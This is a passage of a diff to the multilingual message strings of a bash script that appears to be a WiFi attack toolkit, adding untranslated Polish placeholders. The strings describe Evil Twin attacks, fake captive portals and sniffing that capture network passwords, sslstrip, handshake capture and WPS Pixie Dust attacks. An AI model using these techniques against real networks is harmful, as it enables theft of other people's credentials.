" arr["ENGLISH",298]="Evil Twin attack has been started. Press [Enter] key on this window to stop it" arr["SPANISH",298]="El ataque Evil Twin ha comenzado. Pulse la tecla [Enter] en esta ventana para pararlo" @@ -3160,6 +3458,7 @@ function language_strings() { arr["RUSSIAN",298]="Атака Злой Двойник начата. Для её остановки клавишу [Enter] в этом окне" arr["GREEK",298]="Η επίθεση Evil Twin ξεκίνησε. Πατήστε το κουμπί [Enter] σε αυτό το παράθυρο για να την σταματήσετε" arr["ITALIAN",298]="L'attacco Evil Twin è iniziato. Premere il tasto [Enter] in questa finestra per fermarlo" + arr["POLISH",298]="${pending_of_translation} " arr["ENGLISH",299]="Restoring interface..." arr["SPANISH",299]="Restaurando interfaz..." @@ -3169,6 +3468,7 @@ function language_strings() { arr["RUSSIAN",299]="Восстановление интерфейса..." arr["GREEK",299]="Γίνεται επαναφορά διεπαφής..." arr["ITALIAN",299]="Ripristinando interfaccia..." + arr["POLISH",299]="${pending_of_translation} " arr["ENGLISH",300]="If the xpdyinfo command works, the script will be able to calculate your screen resolution and display the windows in a better way. Depending of the system, the package name containing it could be x11-utils, xdpyinfo, xorg-xdpyinfo, etc." arr["SPANISH",300]="Si haces que funcione en tu sistema el comando xdpyinfo, el script podrá calcular tu resolución de pantalla y mostrarte las ventanas de forma más optimizada. Dependiendo del sistema el paquete que lo contiene puede llamarse x11-utils, xdpyinfo, xorg-xdpyinfo, etc." @@ -3178,6 +3478,7 @@ function language_strings() { arr["RUSSIAN",300]="Команда xpdyinfo поможет этому скрипту определить разрешение вашего экрана и выбрать наилучшее отображение окон. В зависимости от системы, имя пакета, в котором содержится эта программа, может быть x11-utils, xdpyinfo, xorg-xdpyinfo, и т.д." arr["GREEK",300]="Αν δουλέψει η εντολή xpdyinfo, το script θα μπορέσει να υπολογίσει την ανάλυση της οθόνης και να δείχνει τα παράθυρα καλύτερα. Εξαρτάται από το σύστημα, το όνομα του πακέτου που το περιέχει θα μπορούσε να είναι x11-utils, xdpyinfo, xorg-xdpyinfo, κτλπ." arr["ITALIAN",300]="Se funziona il comando xdpyinfo, lo script calcolerà la risoluzione dello schermo e mostrerá le finestre in modo ottimizzato. A seconda del sistema il pacchetto che lo contiene può chiamarsi x11-utils, xdpyinfo, xorg-xdpyinfo, etc." + arr["POLISH",300]="${pending_of_translation} " arr["ENGLISH",301]="Despite having all essential tools installed, your system uses airmon-zc instead of airmon-ng. In order to work properly you need to install lspci (pciutils) and you don't have it right now. Please, install it and launch the script again" arr["SPANISH",301]="A pesar de tener todas las herramientas esenciales instaladas, tu sistema usa airmon-zc en lugar de airmon-ng. Para poder funcionar necesitas tener instalado lspci (pciutils) y tú no lo tienes en este momento. Por favor, instálalo y vuelve a lanzar el script" @@ -3187,6 +3488,7 @@ function language_strings() { arr["RUSSIAN",301]="Не смотря на то, что установлены все необходимые основные инструменты, ваша система использует airmon-zc вместо airmon-ng. Чтобы работа проходила должным образом, вам нужно установить lspci (pciutils), которых в данный момент у вас нет. Пожалуйста, установите их и запустите скрипт снова" arr["GREEK",301]="Παρά του ότι είναι εγκατεστημένα όλα τα απραίτητα εργαλεία, το σύστημά σας χρησιμοποιεί το airmon-zc αντί το airmon-ng. Για να λειτουργήσει σωστά πρέπει να εγκαταστήσετε το lspci (pciutils) το οποίο δεν το έχετε αυτή τη στιγμή. Παρακαλώ, εγκαταστήστε το και ξανανοίξτε το script" arr["ITALIAN",301]="Pur avendo tutti gli strumenti essenziali installati, il sistema utilizza airmon-zc invece di airmon-ng. Per funzionare è necessario installare lspci (pciutils) e tu non lo hai in questo momento. Si prega di installarlo e lanciare nuovamente lo script" + arr["POLISH",301]="${pending_of_translation} " arr["ENGLISH",302]="Do you want to store in a file the sniffed captured passwords? ${blue_color}If you answer no (\"n\") they will be only shown on screen ${normal_color}${visual_choice}" arr["SPANISH",302]="¿Deseas guardar en un fichero las contraseñas obtenidas del sniffing? ${blue_color}Si respondes que no (\"n\") solo se mostrarán por pantalla ${normal_color}${visual_choice}" @@ -3196,6 +3498,7 @@ function language_strings() { arr["RUSSIAN",302]="Вы хотите сохранить в файл захваченные сниффингом пароли? ${blue_color}Если ваш ответ нет (\"n\") они будут только показаны на экране ${normal_color}${visual_choice}" arr["GREEK",302]="Θέλετε να αποθηκεύσετε σε ένα αρχείο τους sniffed κωδικούς πρόσβασης; ${blue_color}Αν απαντήσετε όχι (\"n\") απλά θα εμφανιστούν στην οθόνη ${normal_color}${visual_choice}" arr["ITALIAN",302]="Vuoi salvare in un file le password ottenute con sniffing? ${blue_color}Se si risponde no (\"n\") vengono visualizzate solo sullo schermo ${normal_color}${visual_choice}" + arr["POLISH",302]="${pending_of_translation} " arr["ENGLISH",303]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${default_ettercap_logpath}]" arr["SPANISH",303]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${default_ettercap_logpath}]" @@ -3205,6 +3508,7 @@ function language_strings() { arr["RUSSIAN",303]="Напечатайте путь до файла для сохранения или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${default_ettercap_logpath}]" arr["GREEK",303]="Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${default_ettercap_logpath}]" arr["ITALIAN",303]="Digitare il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default ${normal_color}[${default_ettercap_logpath}]" + arr["POLISH",303]="${pending_of_translation} " arr["ENGLISH",304]="Parsing sniffer log..." arr["SPANISH",304]="Analizando log del sniffer..." @@ -3214,6 +3518,7 @@ function language_strings() { arr["RUSSIAN",304]="Разбор журнала сниффера..." arr["GREEK",304]="Γίνεται ανάλυση του log του sniffer..." arr["ITALIAN",304]="Analizzando log dello sniffer..." + arr["POLISH",304]="${pending_of_translation} " arr["ENGLISH",305]="No passwords detected on sniffers's log. File will not be saved" arr["SPANISH",305]="No se ha encontrado ninguna contraseña en el log del sniffer. No se guardará el fichero" @@ -3223,6 +3528,7 @@ function language_strings() { arr["RUSSIAN",305]="В журнале сниффера паролей не обнаружено. Файл не будет сохранён" arr["GREEK",305]="Δεν εντοπίστηκαν κωδικοί πρόσβασης στο log του sniffer. Το αρχείο δεν θα αποθηκευτεί" arr["ITALIAN",305]="Nessuna password trovata nel log dello sniffer. Il file non viene salvato" + arr["POLISH",305]="${pending_of_translation} " arr["ENGLISH",306]="Passwords captured by sniffer. File saved at ${normal_color}[${ettercap_logpath}]" arr["SPANISH",306]="El sniffer ha capturado contraseñas. Fichero salvado en ${normal_color}[${ettercap_logpath}]" @@ -3232,6 +3538,7 @@ function language_strings() { arr["RUSSIAN",306]="Сниффер захватил пароли. Файл сохранён в ${normal_color}[${ettercap_logpath}]" arr["GREEK",306]="Καταγράφηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο ${normal_color}[${ettercap_logpath}]" arr["ITALIAN",306]="Lo sniffer ha catturato delle password. File salvato in ${normal_color}[${ettercap_logpath}]" + arr["POLISH",306]="${pending_of_translation} " arr["ENGLISH",307]="Language changed to Russian" arr["SPANISH",307]="Idioma cambiado a Ruso" @@ -3241,6 +3548,7 @@ function language_strings() { arr["RUSSIAN",307]="Язык изменён на русский" arr["GREEK",307]="Η γλώσσα άλλαξε στα Ρωσικά" arr["ITALIAN",307]="Lingua cambiata in Russo" + arr["POLISH",307]="${pending_of_translation} " arr["ENGLISH",308]="6. Russian" arr["SPANISH",308]="6. Ruso" @@ -3250,6 +3558,7 @@ function language_strings() { arr["RUSSIAN",308]="6. Русский" arr["GREEK",308]="6. Ρωσικά" arr["ITALIAN",308]="6. Russo" + arr["POLISH",308]="${pending_of_translation} " arr["ENGLISH",309]="Sslstrip technique is not infallible. It depends on many factors and not always work. Some browsers such as Mozilla Firefox latest versions are not affected" arr["SPANISH",309]="La tecnica sslstrip no es infalible. Depende de muchos factores y no funciona siempre. Algunos navegadores como las últimas versiones de Mozilla Firefox no se ven afectados" @@ -3259,6 +3568,7 @@ function language_strings() { arr["RUSSIAN",309]="Техника sslstrip не является надёжной. Эффект программы зависит от многих факторов и иногда она просто не работает. Некоторые браузеры, такие как Mozilla Firefox последних версий, не подвержены атаке" arr["GREEK",309]="Η τεχνική sslstrip δεν είναι αλάνθαστη. Εξαρτάται από πολλούς παράγοντες και δεν δουλεύει πάντα. Κάποιοι περιηγητές ιστού όπως οι τελευταίες εκδόσεις του Mozilla Firefox δεν επηρεάζονται" arr["ITALIAN",309]="La tecnica sslstrip non è infallibile. Dipende da molti fattori e non sempre funziona. Alcuni browser, come le ultime versioni di Mozilla Firefox non sono vulnerabili" + arr["POLISH",309]="${pending_of_translation} " arr["ENGLISH",310]="Handshake file selected: ${pink_color}None${normal_color}" arr["SPANISH",310]="Fichero de Handshake seleccionado: ${pink_color}Ninguno${normal_color}" @@ -3268,6 +3578,7 @@ function language_strings() { arr["RUSSIAN",310]="Выбранный файл рукопожатия: ${pink_color}Отсутствует${normal_color}" arr["GREEK",310]="Επιλεγμένο αρχείο Χειραψίας: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",310]="File di Handshake selezionato: ${pink_color}Nessuno${normal_color}" + arr["POLISH",310]="${pending_of_translation} " arr["ENGLISH",311]="Handshake file selected: ${pink_color}${et_handshake}${normal_color}" arr["SPANISH",311]="Fichero de Handshake seleccionado: ${pink_color}${et_handshake}${normal_color}" @@ -3277,6 +3588,7 @@ function language_strings() { arr["RUSSIAN",311]="Выбранный файл рукопожатия: ${pink_color}${et_handshake}${normal_color}" arr["GREEK",311]="Επιλεγμένο αρχείο Χειραψίας: ${pink_color}${et_handshake}${normal_color}" arr["ITALIAN",311]="File di Handshake selezionato: ${pink_color}${et_handshake}${normal_color}" + arr["POLISH",311]="${pending_of_translation} " arr["ENGLISH",312]="No selected Handshake file detected during this session..." arr["SPANISH",312]="No se ha detectado ningún fichero de Handshake seleccionado en esta sesión..." @@ -3286,6 +3598,7 @@ function language_strings() { arr["RUSSIAN",312]="Во время этой сессии выбранный файл рукопожатия не обнаружен..." arr["GREEK",312]="Δεν εντοπίστηκε κανένα αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας..." arr["ITALIAN",312]="Non è stato rilevato nessun file di Handshake selezionato in questa sessione..." + arr["POLISH",312]="${pending_of_translation} " arr["ENGLISH",313]="Handshake selected file detected during this session [${normal_color}${et_handshake}${blue_color}]" arr["SPANISH",313]="Se ha detectado un fichero de Handshake seleccionado en esta sesión [${normal_color}${et_handshake}${blue_color}]" @@ -3295,6 +3608,7 @@ function language_strings() { arr["RUSSIAN",313]="Обнаружен файл рукопожатия, выбранный в этой сессии [${normal_color}${et_handshake}${blue_color}]" arr["GREEK",313]="Εντοπίστηκε επιλεγμένο αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας [${normal_color}${et_handshake}${blue_color}]" arr["ITALIAN",313]="Trovato un file di Handshake selezionato in questa sessione [${normal_color}${et_handshake}${blue_color}]" + arr["POLISH",313]="${pending_of_translation} " arr["ENGLISH",314]="Handshake file selected: ${pink_color}${enteredpath}${normal_color}" arr["SPANISH",314]="Fichero de Handshake seleccionado: ${pink_color}${enteredpath}${normal_color}" @@ -3304,6 +3618,7 @@ function language_strings() { arr["RUSSIAN",314]="Выбранный файл рукопожатия: ${pink_color}${enteredpath}${normal_color}" arr["GREEK",314]="Επιλεγμένο αρχείο Χειραψίας: ${pink_color}${enteredpath}${normal_color}" arr["ITALIAN",314]="File di Handshake selezionato: ${pink_color}${enteredpath}${normal_color}" + arr["POLISH",314]="${pending_of_translation} " arr["ENGLISH",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file" arr["SPANISH",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2" @@ -3313,6 +3628,7 @@ function language_strings() { arr["RUSSIAN",315]="Эта атака требует предварительного захвата файла рукопожатия для WPA/WPA2 сети" arr["GREEK",315]="Αυτή η επίθεση απαιτεί να έχετε προηγουμένως κατεγράψει ένα αρχείο Χειραψίας από WPA/WPA2 δίκτο" arr["ITALIAN",315]="Questo attacco richiede che tu abbia catturato precedentemente un file di Handshake di una rete WPA/WPA2" + arr["POLISH",315]="${pending_of_translation} " arr["ENGLISH",316]="An exploration looking for targets is going to be done..." arr["SPANISH",316]="Se va a realizar una exploración en busca de objetivos..." @@ -3322,6 +3638,7 @@ function language_strings() { arr["RUSSIAN",316]="Выполнение сканирования целей..." arr["GREEK",316]="Πρόκειται να γίνει μία αναζήτηση για έυρεση στόχων..." arr["ITALIAN",316]="Si effettuerà una scansione in cerca di obiettivi..." + arr["POLISH",316]="${pending_of_translation} " arr["ENGLISH",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. ${green_color}Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${default_et_captive_portal_logpath}]" arr["SPANISH",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. ${green_color}Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${default_et_captive_portal_logpath}]" @@ -3331,6 +3648,7 @@ function language_strings() { arr["RUSSIAN",317]="Вы должны решить, где будет сохранён пароль wifi сети, если он будет получен Перехватывающим порталом. ${green_color}Впишите путь до файла или нажмите [Enter] для принятия значения по умолчанию ${normal_color}[${default_et_captive_portal_logpath}]" arr["GREEK",317]="Εάν ο κωδικός πρόσβασης του δικτύου wifi επιτευχθεί με captive portal, θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. ${green_color}Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${default_et_captive_portal_logpath}]" arr["ITALIAN",317]="Se si ottiene la passowrd della rete wireless con il captive portal, bisogna decidere dove salvarla. ${green_color}Immettere il percorso dove memorizzare il file o premere [Enter] per accettare quello di default proposto ${normal_color}[${default_et_captive_portal_logpath}]" + arr["POLISH",317]="${pending_of_translation} " arr["ENGLISH",318]="Choose the language in which network clients will see the captive portal :" arr["SPANISH",318]="Elige el idioma en el que los clientes de la red verán el portal cautivo :" @@ -3340,6 +3658,7 @@ function language_strings() { arr["RUSSIAN",318]="Выберите язык, на котором клиенты сети будут видеть перехватывающий портал :" arr["GREEK",318]="Επιλέξτε τη γλώσσα που θα βλέπουν οι χρήστες του δικτύου στο captive portal :" arr["ITALIAN",318]="Scegli la lingua in cui i clienti della rete vedranno il captive portal :" + arr["POLISH",318]="${pending_of_translation} " arr["ENGLISH",319]="The captive portal language has been established" arr["SPANISH",319]="Se ha establecido el idioma del portal cautivo" @@ -3349,6 +3668,7 @@ function language_strings() { arr["RUSSIAN",319]="Язык перехватывающего портала установлен" arr["GREEK",319]="Εγκαταστάθηκε η γλώσσα στο captive portal" arr["ITALIAN",319]="La lingua del captive portal è stata stabilita" + arr["POLISH",319]="${pending_of_translation} " arr["ENGLISH",320]="7. Greek" arr["SPANISH",320]="7. Griego" @@ -3358,6 +3678,7 @@ function language_strings() { arr["RUSSIAN",320]="7. Греческий" arr["GREEK",320]="7. Ελληνικά" arr["ITALIAN",320]="7. Greco" + arr["POLISH",320]="${pending_of_translation} " arr["ENGLISH",321]="Do you already have a captured Handshake file? ${blue_color}Answer yes (\"y\") to enter the path or answer no (\"n\") to capture a new one now ${normal_color}${visual_choice}" arr["SPANISH",321]="¿Tienes ya un fichero de Handshake capturado? ${blue_color}Responde sí (\"y\") para introducir la ruta o responde no (\"n\") para capturar uno ahora ${normal_color}${visual_choice}" @@ -3367,6 +3688,7 @@ function language_strings() { arr["RUSSIAN",321]="У вас уже есть захваченный файл рукопожатия? ${blue_color}Ответьте Да (\"y\"), для ввода пути или ответьте Нет (\"n\"), для захвата нового рукопожатия ${normal_color}${visual_choice}" arr["GREEK",321]="Έχετε ήδη κάποιο αρχείο Χειραψίας; ${blue_color}Απαντήστε ναι (\"y\") για να εισαγάγετε το μονοπάτι ή απαντήστε όχι (\"n\") για να καταγράψετε ένα νέο τώρα ${normal_color}${visual_choice}" arr["ITALIAN",321]="Hai già catturato un file di Handshake? ${blue_color}Rispondi sì (\"y\") per introdurre il percorso o rispondi no (\"n\") per catturarne uno ora ${normal_color}${visual_choice}" + arr["POLISH",321]="${pending_of_translation} " arr["ENGLISH",322]="It has been checked that there is a Handshake of the chosen target network while checking the selected capture file. Script can continue..." arr["SPANISH",322]="Se ha comprobado que existe un Handshake de la red elegida como objetivo durante la exploración en el fichero de captura seleccionado. El script puede continuar..." @@ -3376,6 +3698,7 @@ function language_strings() { arr["RUSSIAN",322]="Проверка подтвердила, что рукопожатие относится к выбранной целевой сети. Скрипт может продолжать..." arr["GREEK",322]="Εντοπίστηκε η παρουσία Χειραψίας για το επιλεγμένο δίκτυο-στόχος καθώς γινόταν έλεγχος του επιλεγμένου αρχείου καταγραφής. Το script μπορεί να συνεχίσει..." arr["ITALIAN",322]="É stato riscontrato che c'è un Handshake della rete scelta como obiettivo durante la esplorazione del file di cattura selezionato. Lo script può continuare..." + arr["POLISH",322]="${pending_of_translation} " arr["ENGLISH",323]="There is no Handshake of the selected network on the capture file" arr["SPANISH",323]="No se ha encontrado un Handshake de la red seleccionada en el fichero de captura" @@ -3385,6 +3708,7 @@ function language_strings() { arr["RUSSIAN",323]="В файле захвата отсутствует рукопожатие выбранной сети" arr["GREEK",323]="Δεν υπάρχει Χειραψία του επιλεγμένου δικτύου στο αρχείο καταγραφής" arr["ITALIAN",323]="Non è stato trovato una Handshake della rete selezionata nel file di acquisizione" + arr["POLISH",323]="${pending_of_translation} " arr["ENGLISH",324]="Handshake file generated successfully at [${normal_color}${et_handshake}${blue_color}]" arr["SPANISH",324]="Fichero de Handshake generado con éxito en [${normal_color}${et_handshake}${blue_color}]" @@ -3394,6 +3718,7 @@ function language_strings() { arr["RUSSIAN",324]="Файл рукопожатия успешно создан в [${normal_color}${et_handshake}${blue_color}]" arr["GREEK",324]="Το αρχείο Χειραψίας δημιουργήθηκε επιτυχώς στο [${normal_color}${et_handshake}${blue_color}]" arr["ITALIAN",324]="File di Handhake generato con successo in [${normal_color}${et_handshake}${blue_color}]" + arr["POLISH",324]="${pending_of_translation} " arr["ENGLISH",325]="Wait. Be patient..." arr["SPANISH",325]="Espera. Ten un poco de paciencia..." @@ -3403,6 +3728,7 @@ function language_strings() { arr["RUSSIAN",325]="Пожалуйста, подождите..." arr["GREEK",325]="Περιμένετε. Έχετε λίγη υπομονή..." arr["ITALIAN",325]="Aspetta. Devi avere un pò di pazienza..." + arr["POLISH",325]="${pending_of_translation} " arr["ENGLISH",326]="Are you going to use the interface with internet access method? ${pink_color}If the answer is no (\"n\"), you'll need ${optional_tools_names[12]} installed to continue. Both will be checked ${normal_color}${visual_choice}" arr["SPANISH",326]="¿Vas a utilizar el método de la interfaz con acceso a internet? ${pink_color}Si la respuesta es no (\"n\"), necesitarás tener instalado ${optional_tools_names[12]} para continuar. Ambas cosas se comprobarán ${normal_color}${visual_choice}" @@ -3412,6 +3738,7 @@ function language_strings() { arr["RUSSIAN",326]="Собираетесь ли вы использовать этот метод с Интернет-доступом? ${pink_color}Если ответ нет (\"п\"), то для продолжения вам нужно установить ${optional_tools_names[12]}. Будут выполнены проверки обоих условий ${normal_color}${visual_choice}" arr["GREEK",326]="Σκοπεύετε να χρησιμοποιήσετε την διεπαφή με την μέθοδο πρόσβασης στο διαδίκτυο; ${pink_color}Αν απαντήσετε όχι (\"n\"), θα πρέπει να έχετε το ${optional_tools_names[12]} εγκατεστημένο για να συνεχίσετε. Και τα δύο ελέγχονται ${normal_color}${visual_choice}" arr["ITALIAN",326]="Hai intenzione di utilizzare il metodo dell'interfaccia con accesso ad internet? ${pink_color}Se la risposta è no (\"n\") hai bisogno di tenere installato ${optional_tools_names[12]} per continuare. Entrambi saranno controllati ${normal_color}${visual_choice}" + arr["POLISH",326]="${pending_of_translation} " arr["ENGLISH",327]="You don't have ${optional_tools_names[12]} installed. The script can't continue. Redirecting to main screen..." arr["SPANISH",327]="No tienes instalado ${optional_tools_names[12]}. El script no puede continuar. Redirigiendo a la pantalla principal..." @@ -3421,6 +3748,7 @@ function language_strings() { arr["RUSSIAN",327]="У вас не установлена программа ${optional_tools_names[12]}. Скрипт не может продолжить. Переход на главный экран…" arr["GREEK",327]="Το ${optional_tools_names[12]} δεν είναι εγκατεστημένο. Το script δεν μπορεί να συνεχίσει. Θα καθοδηγηθείτε στην κύρια οθόνη..." arr["ITALIAN",327]="Non hai installato ${optional_tools_names[12]}. Lo script non può continuare. Reindirizzando alla schermata principale..." + arr["POLISH",327]="${pending_of_translation} " arr["ENGLISH",328]="The unique Evil Twin attack in which it's not necessary to have an additional interface with internet access is the captive portal attack. As an alternative, you'll need another additional requirement: ${optional_tools_names[12]}" arr["SPANISH",328]="El único ataque de Evil Twin en el que no es necesario tener una interfaz adicional con acceso a internet es el del portal cautivo. Como alternativa necesitarás otro requerimiento adicional: ${optional_tools_names[12]}" @@ -3430,6 +3758,7 @@ function language_strings() { arr["RUSSIAN",328]="Уникальная атака Злой Двойник, при которой необязательно иметь дополнительный интерфейс с доступом в Интернет для атаки Перехватывающим Порталом. Но для нее вам нужно дополнительно ПО: ${optional_tools_names[12]}" arr["GREEK",328]="Η μόνη επίθεση Evil Twin στην οποία δεν είναι απαραίτητο να έχετε επιπλέον διεπαφή με πρόσβαση στο διαδίκτυο είναι η επίθεση με captive portal. Εναλλακτικά, θα χρειαστείτε το: ${optional_tools_names[12]}" arr["ITALIAN",328]="L'unico attacco di tipo Evil Twin in cui non è necessario avere un'interfaccia supplementare con accesso a internet è quello con captive portal. In cambo avrai bisogno di un ulteriore requisito: ${optional_tools_names[12]}" + arr["POLISH",328]="${pending_of_translation} " arr["ENGLISH",329]="It seems you have ${optional_tools_names[12]} installed. Script can continue..." arr["SPANISH",329]="Se ha comprobado que tienes instalado ${optional_tools_names[12]}. El script puede continuar..." @@ -3439,6 +3768,7 @@ function language_strings() { arr["RUSSIAN",329]="Судя по всему, ${optional_tools_names[12]} у вас установлена. Скрипт может продолжить..." arr["GREEK",329]="Φαίνεται πως το ${optional_tools_names[12]} είναι εγκατεστημένο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",329]="Sembra che hai installato ${optional_tools_names[12]}. Lo script può continuare..." + arr["POLISH",329]="${pending_of_translation} " arr["ENGLISH",330]="At this point there are two options to prepare the captive portal. Either having an interface with internet access, or making a fake DNS using ${optional_tools_names[12]}" arr["SPANISH",330]="Llegados a este punto hay dos opciones para preparar el portal cautivo. O bien tenemos una interfaz con acceso a internet, o preparamos un falso DNS usando ${optional_tools_names[12]}" @@ -3448,6 +3778,7 @@ function language_strings() { arr["RUSSIAN",330]="На данном этапе у вас две опции для подготовки Перехватывающего Портала. Нужно или иметь сетевой интерфейс с Интернет-доступом, или создать фальшивый DNS используя ${optional_tools_names[12]}" arr["GREEK",330]="Σε αυτό το σημείο υπάρχουν δύο επιλογές για την προετοιμασία του captive portal. Να έχετε μία διεπαφή με πρόσβαση στο διαδίκτυο, ή να φιάξετε ψευδές DNS χρησιμοποιώντας το ${optional_tools_names[12]}" arr["ITALIAN",330]="A questo punto ci sono due opzioni per la preparazione del captive portal. O avere un'interfaccia con accesso a internet, o preparare un DNS falso utilizzando ${optional_tools_names[12]}" + arr["POLISH",330]="${pending_of_translation} " arr["ENGLISH",331]="${option_counter_back}.${spaceiface}Return to Evil Twin attacks menu" arr["SPANISH",331]="${option_counter_back}.${spaceiface}Volver al menú de ataques Evil Twin" @@ -3457,6 +3788,7 @@ function language_strings() { arr["RUSSIAN",331]="${option_counter_back}.${spaceiface}Вернуться в меню атак Злой Двойник" arr["GREEK",331]="${option_counter_back}.${spaceiface}Επιστροφή στο μενού επιθέσεων Evil Twin" arr["ITALIAN",331]="${option_counter_back}.${spaceiface}Tornare al menu degli attacchi Evil Twin" + arr["POLISH",331]="${pending_of_translation} " arr["ENGLISH",332]="Language changed to Greek" arr["SPANISH",332]="Idioma cambiado a Griego" @@ -3466,6 +3798,7 @@ function language_strings() { arr["RUSSIAN",332]="Язык изменён на Греческий" arr["GREEK",332]="Η γλώσσα άλλαξε στα Ελληνικά" arr["ITALIAN",332]="Lingua cambiata in Greco" + arr["POLISH",332]="${pending_of_translation} " arr["ENGLISH",333]="8. WPS attacks menu" arr["SPANISH",333]="8. Menú de ataques WPS" @@ -3475,6 +3808,7 @@ function language_strings() { arr["RUSSIAN",333]="8. Меню атак на WPS" arr["GREEK",333]="8. Μενού επιθέσεων WPS" arr["ITALIAN",333]="8. Menú degli attacchi WPS" + arr["POLISH",333]="${pending_of_translation} " arr["ENGLISH",334]="WPS attacks menu" arr["SPANISH",334]="Menú de ataques WPS" @@ -3484,6 +3818,7 @@ function language_strings() { arr["RUSSIAN",334]="Меню атак на WPS" arr["GREEK",334]="Μενού επιθέσεων WPS" arr["ITALIAN",334]="Menú degli attacchi WPS" + arr["POLISH",334]="${pending_of_translation} " arr["ENGLISH",335]="Selected WPS BSSID: ${pink_color}${wps_bssid}${normal_color}" arr["SPANISH",335]="BSSID WPS seleccionado: ${pink_color}${wps_bssid}${normal_color}" @@ -3493,6 +3828,7 @@ function language_strings() { arr["RUSSIAN",335]="Выбран WPS BSSID: ${pink_color}${wps_bssid}${normal_color}" arr["GREEK",335]="Επιλεγμένο WPS BSSID: ${pink_color}${wps_bssid}${normal_color}" arr["ITALIAN",335]="BSSID WPS selezionato: ${pink_color}${wps_bssid}${normal_color}" + arr["POLISH",335]="${pending_of_translation} " arr["ENGLISH",336]="Selected WPS channel: ${pink_color}${wps_channel}${normal_color}" arr["SPANISH",336]="Canal WPS seleccionado: ${pink_color}${wps_channel}${normal_color}" @@ -3502,6 +3838,7 @@ function language_strings() { arr["RUSSIAN",336]="Выбран WPS канал: ${pink_color}${wps_channel}${normal_color}" arr["GREEK",336]="Επιλεγμένο WPS κανάλι: ${pink_color}${wps_channel}${normal_color}" arr["ITALIAN",336]="Canale WPS selezionato: ${pink_color}${wps_channel}${normal_color}" + arr["POLISH",336]="${pending_of_translation} " arr["ENGLISH",337]="Selected WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- can't be used" arr["SPANISH",337]="ESSID WPS seleccionado: ${pink_color}${wps_essid}${blue_color} <- no se puede usar" @@ -3511,6 +3848,7 @@ function language_strings() { arr["RUSSIAN",337]="Выбран WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- не может использоваться" arr["GREEK",337]="Επιλεγμένο WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- δεν μπορεί να χρησιμοποιηθεί" arr["ITALIAN",337]="ESSID WPS selezionato: ${pink_color}${wps_essid}${blue_color} <- non può essere utilizzato" + arr["POLISH",337]="${pending_of_translation} " arr["ENGLISH",338]="Selected WPS ESSID: ${pink_color}${wps_essid}${normal_color}" arr["SPANISH",338]="ESSID WPS seleccionado: ${pink_color}${wps_essid}${normal_color}" @@ -3520,6 +3858,7 @@ function language_strings() { arr["RUSSIAN",338]="Выбран WPS ESSID: ${pink_color}${wps_essid}${normal_color}" arr["GREEK",338]="Επιλεγμένο WPS ESSID: ${pink_color}${wps_essid}${normal_color}" arr["ITALIAN",338]="ESSID WPS selezionato: ${pink_color}${wps_essid}${normal_color}" + arr["POLISH",338]="${pending_of_translation} " arr["ENGLISH",339]="Selected WPS BSSID: ${pink_color}None${normal_color}" arr["SPANISH",339]="BSSID WPS seleccionado: ${pink_color}Ninguno${normal_color}" @@ -3529,6 +3868,7 @@ function language_strings() { arr["RUSSIAN",339]="Выбран WPS BSSID: ${pink_color}Нет${normal_color}" arr["GREEK",339]="Επιλεγμένο WPS BSSID: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",339]="BSSID WPS selezionato: ${pink_color}Nessuno${normal_color}" + arr["POLISH",339]="${pending_of_translation} " arr["ENGLISH",340]="Selected WPS channel: ${pink_color}None${normal_color}" arr["SPANISH",340]="Canal WPS seleccionado: ${pink_color}Ninguno${normal_color}" @@ -3538,6 +3878,7 @@ function language_strings() { arr["RUSSIAN",340]="Выбран WPS канал: ${pink_color}Нет${normal_color}" arr["GREEK",340]="Επιλεγμένο WPS κανάλι: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",340]="Canale WPS selezionato: ${pink_color}Nessuno${normal_color}" + arr["POLISH",340]="${pending_of_translation} " arr["ENGLISH",341]="Selected WPS ESSID: ${pink_color}None${normal_color}" arr["SPANISH",341]="ESSID WPS seleccionado: ${pink_color}Ninguno${normal_color}" @@ -3547,6 +3888,7 @@ function language_strings() { arr["RUSSIAN",341]="Выбран WPS ESSID: ${pink_color}Нет${normal_color}" arr["GREEK",341]="Επιλεγμένο WPS ESSID: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",341]="ESSID WPS selezionato: ${pink_color}Nessuno${normal_color}" + arr["POLISH",341]="${pending_of_translation} " arr["ENGLISH",342]="Pixie Dust attack obtains PIN and password in seconds, but not all access points are affected" arr["SPANISH",342]="El ataque Pixie Dust obtiene el PIN y la clave en segundos, pero no todos los puntos de acceso son vulnerables a este ataque" @@ -3556,6 +3898,7 @@ function language_strings() { arr["RUSSIAN",342]="Pixie Dust получает PIN и пароль за секунды, но не все точки доступа подвержены этой атаке" arr["GREEK",342]="Η επίθεση Pixie Dust αποκτά το PIN και τον κωδικό πρόσβασης σε δευτερόλεπτα, αλλά μερικά σημεία πρόσβασης δεν επηρεάζονται" arr["ITALIAN",342]="L'attacco Pixie Dust ottiene il PIN e la password in pochi secondi, ma non tutti i punti di accesso sono vulnerabili a questo attacco" + arr["POLISH",342]="${pending_of_translation} " arr["ENGLISH",343]="In order to success on any WPS based attack, you need good signal 